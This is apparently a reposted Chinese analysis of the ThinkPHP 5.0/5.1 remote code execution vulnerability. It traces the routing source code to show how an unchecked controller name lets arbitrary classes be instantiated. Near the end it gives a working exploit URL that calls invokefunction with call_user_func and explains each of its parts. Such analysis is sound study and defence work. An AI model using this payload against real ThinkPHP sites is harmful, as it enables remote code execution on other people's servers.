内容简介：ThinkPHP官方最近修复了一个严重的远程代码执行漏洞。这个主要漏洞原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令，受影响的版本包括5.0和5.1版本。网上已经有些分析文章了，我就正向分析下这次漏洞过程。不同版本的ThinkPHP调用过程和代码会稍有差异，本文分析的是ThinkPHP 5.1 beta的代码，其他版本的可以类似的分析。
前言
ThinkPHP官方最近修复了一个严重的远程代码执行漏洞。这个主要漏洞原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令，受影响的版本包括5.0和5.1版本。
测试环境：
ThinkPHP 5.1 beta + win10 64bit + wamp
漏洞分析
网上已经有些分析文章了，我就正向分析下这次漏洞过程。不同版本的ThinkPHP调用过程和代码会稍有差异，本文分析的是ThinkPHP 5.1 beta的代码，其他版本的可以类似的分析。
首先会加载thinkphp/library/think/App.php ，运行run函数
public function run()
{
// 初始化应用
$this->initialize();
try {
if (defined('BIND_MODULE')) {
// 模块/控制器绑定
BIND_MODULE && $this->route->bindTo(BIND_MODULE);
} elseif ($this->config('app.auto_bind_module')) {
// 入口自动绑定
$name = pathinfo($this->request->baseFile(), PATHINFO_FILENAME);
if ($name && 'index' != $name && is_dir($this->appPath . $name)) {
$this->route->bindTo($name);
}
}
$this->request->filter($this->config('app.default_filter'));
// 读取默认语言
$this->lang->range($this->config('app.default_lang'));
if ($this->config('app.lang_switch_on')) {
// 开启多语言机制 检测当前语言
$this->lang->detect();
}
$this->request->langset($this->lang->range());
// 加载系统语言包
$this->lang->load([
$this->thinkPath . 'lang/' . $this->request->langset() . '.php',
$this->appPath . 'lang/' . $this->request->langset() . '.php',
]);
// 获取应用调度信息
$dispatch = $this->dispatch;
if (empty($dispatch)) {
// 进行URL路由检测
$dispatch = $this->routeCheck($this->request);
}
// 记录当前调度信息
$this->request->dispatch($dispatch);
// 记录路由和请求信息
if ($this->debug) {
$this->log('[ ROUTE ] ' . var_export($this->request->routeinfo(), true));
$this->log('[ HEADER ] ' . var_export($this->request->header(), true));
$this->log('[ PARAM ] ' . var_export($this->request->param(), true));
}
// 监听app_begin
$this->hook->listen('app_begin', $dispatch);
// 请求缓存检查
$this->request->cache(
$this->config('app.request_cache'),
$this->config('app.request_cache_expire'),
$this->config('app.request_cache_except')
);
// 执行调度
$data = $dispatch->run();
} catch (HttpResponseException $exception) {
$data = $exception->getResponse();
}
// 输出数据到客户端
if ($data instanceof Response) {
$response = $data;
} elseif (!is_null($data)) {
// 默认自动识别响应输出类型
$isAjax = $this->request->isAjax();
$type = $isAjax ? $this->config('app.default_ajax_return') : $this->config('app.default_return_type');
$response = Response::create($data, $type);
} else {
$response = Response::create();
}
// 监听app_end
$this->hook->listen('app_end', $response);
return $response;
}
跟进这个路由检测的routeCheck函数
public function routeCheck()
{
$path = $this->request->path();
$depr = $this->config('app.pathinfo_depr');
// 路由检测
$files = scandir($this->routePath);
foreach ($files as $file) {
if (strpos($file, '.php')) {
$filename = $this->routePath . DIRECTORY_SEPARATOR . $file;
// 导入路由配置
$rules = include $filename;
if (is_array($rules)) {
$this->route->import($rules);
}
}
}
$must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must');
// 路由检测（根据路由定义返回不同的URL调度）
return $this->route->check($path, $depr, $must);
}
routeCheck函数又调用了path函数，跟进这里的path函数
在 thinkphp/library/think/Request.php 中定义
public function path()
{ if (is_null($this->path)) { $suffix = $this->config->get('url_html_suffix'); $pathinfo = $this->pathinfo(); if (false === $suffix) { // 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) { // 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else { // 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
} return $this->path;
}
这里的pathinfo也是在Request.php中定义的
public function pathinfo()
{ if (is_null($this->pathinfo)) { if (isset($_GET[$this->config->get('var_pathinfo')])) { // 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[$this->config->get('var_pathinfo')]; unset($_GET[$this->config->get('var_pathinfo')]);
} elseif ($this->isCli()) { // CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
} // 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) { foreach ($this->config->get('pathinfo_fetch') as $type) { if (!empty($_SERVER[$type])) { $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ? substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type]; break;
}
}
} $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
} return $this->pathinfo;
}
分析可知 $this->config->get('var_pathinfo') 默认值是s（var_pathinfo是在config/app.php里硬编码的），所以我们可利用$_GET['s']来传递路由信息。
回到 thinkphp/library/think/App.php , 运行到执行调度
这个就是 thinkphp/library/think/route/dispatch/Module.php 函数run的实例
class Module extends Dispatch
{ public function run()
{ $result = $this->action; if (is_string($result)) { $result = explode('/', $result);
} if ($this->app->config('app.app_multi_module')) { // 多模块部署
$module = strip_tags(strtolower($result[0] ?: $this->app->config('app.default_module'))); $bind = $this->app['route']->getBind(); $available = false; if ($bind && preg_match('/^[a-z]/is', $bind)) { // 绑定模块
list($bindModule) = explode('/', $bind); if (empty($result[0])) { $module = $bindModule; $available = true;
} elseif ($module == $bindModule) { $available = true;
}
} elseif (!in_array($module, $this->app->config('app.deny_module_list')) && is_dir($this->app->getAppPath() . $module)) { $available = true;
} // 模块初始化
if ($module && $available) { // 初始化模块
$this->app['request']->module($module); $this->app->init($module); // 加载当前模块语言包
$this->app['lang']->load($this->app->getAppPath() . $module . '/lang/' . $this->app['request']->langset() . '.php'); // 模块请求缓存检查
$this->app['request']->cache( $this->app->config('app.request_cache'), $this->app->config('app.request_cache_expire'), $this->app->config('app.request_cache_except')
);
} else { throw new HttpException(404, 'module not exists:' . $module);
}
} else { // 单一模块部署
$module = ''; $this->app['request']->module($module);
} // 当前模块路径
$this->app->setModulePath($this->app->getAppPath() . ($module ? $module . '/' : '')); // 是否自动转换控制器和操作名
$convert = is_bool($this->caseUrl) ? $this->caseUrl : $this->app->config('app.url_convert'); // 获取控制器名
$controller = strip_tags($result[1] ?: $this->app->config('app.default_controller')); $controller = $convert ? strtolower($controller) : $controller; // 获取操作名
$actionName = strip_tags($result[2] ?: $this->app->config('app.default_action')); $actionName = $convert ? strtolower($actionName) : $actionName; // 设置当前请求的控制器、操作
$this->app['request']->controller(Loader::parseName($controller, 1))->action($actionName); // 监听module_init
$this->app['hook']->listen('module_init', $this->app['request']); // 实例化控制器
$instance = $this->app->controller($controller, $this->app->config('app.url_controller_layer'), $this->app->config('app.controller_suffix'), $this->app->config('app.empty_controller'), false); if (is_null($instance)) { throw new HttpException(404, 'controller not exists:' . Loader::parseName($controller, 1));
} // 获取当前操作名
$action = $actionName . $this->app->config('app.action_suffix'); if (is_callable([$instance, $action])) { // 执行操作方法
$call = [$instance, $action]; // 自动获取请求变量
$vars = $this->app->config('app.url_param_type') ? $this->app['request']->route() : $this->app['request']->param();
} elseif (is_callable([$instance, '_empty'])) { // 空操作
$call = [$instance, '_empty']; $vars = [$actionName];
} else { // 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
} $this->app['hook']->listen('action_begin', $call); return Container::getInstance()->invokeMethod($call, $vars);
}
}
跟进92行的实例化控制器
对应的代码 thinkphp/library/think/App.php
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '', $throwException = true)
{ if (false !== strpos($name, '\\')) { $class = $name; $module = $this->request->module();
} else { if (strpos($name, '/')) { list($module, $name) = explode('/', $name);
} else { $module = $this->request->module();
} $class = $this->parseClass($module, $layer, $name, $appendSuffix);
} if (class_exists($class)) { return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) { return $this->__get($emptyClass);
} elseif ($throwException) { throw new ClassNotFoundException('class not exists:' . $class, $class);
}
}
问题出在这
当$name以反斜线\开始时直接将其作为类名。
并且在746行调用__get函数
继续跟进__get，调用container类的make函数
跟进make函数，可以得到这个是实例化一个类。也就是说通过$name变量可以控制类名，并且会实例化这个类。
回到 thinkphp/library/think/route/dispatch/Module.php 的run函数，继续看下面的代码
通过$this->app['request']->param()获取实例化类对应的参数，然后通过invokeMethod 函数动态调用方法（跟进invokeMethod可以知道这边主要是通过反射函数实现动态调用）。至此，ThinkPHP 5 整个路由的过程已讲完，类的实例化与方法调用也已完成。
Exp分析
http://localhost/thinkphp5.1beta/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1
通过上面的分析知道通过s就可以获取路由信息。
分析下index/\think\Container/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1 这个payload
-
index是对应的模块
-
\think\Container 以反斜线开头，这就是我们想要实例化的类
-
invokefunction是想\think\Container类想要调用的方法，
-
function=call_user_func&vars[0]=phpinfo&vars[1]=1是对应invokefunction的参数。
关于如何解析把function=call_user_func&vars[0]=phpinfo&vars[1]=1这些解析成invokefuncition参数的，可以看下Request.php 对应的param函数。
对于选用invokefunction这个函数，是因为这也是个反射函数，可以方便的调用任何函数。
需要注意的是不同版本的TP，对应的文件、类名有些差异。当然还有很多的攻击方式，只要你去文件找到可以实例化的类构造相应的payload就行。
以上就是本文的全部内容，希望本文的内容对大家的学习或者工作能带来一定的帮助，也希望大家多多支持 码农网
猜你喜欢:
- 漏洞分析：OpenSSH用户枚举漏洞（CVE-2018-15473）分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
- 漏洞分析：对CVE-2018-8587（Microsoft Outlook）漏洞的深入分析
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
XForms Essentials
Micah Dubinko / O'Reilly Media, Inc. / 2003-08-27 / USD 29.95
The use of forms on the Web is so commonplace that most user interactions involve some type of form. XForms - a combination of XML and forms - offers a powerful alternative to HTML-based forms. By pro......一起来看看 《XForms Essentials》 这本书的介绍吧!
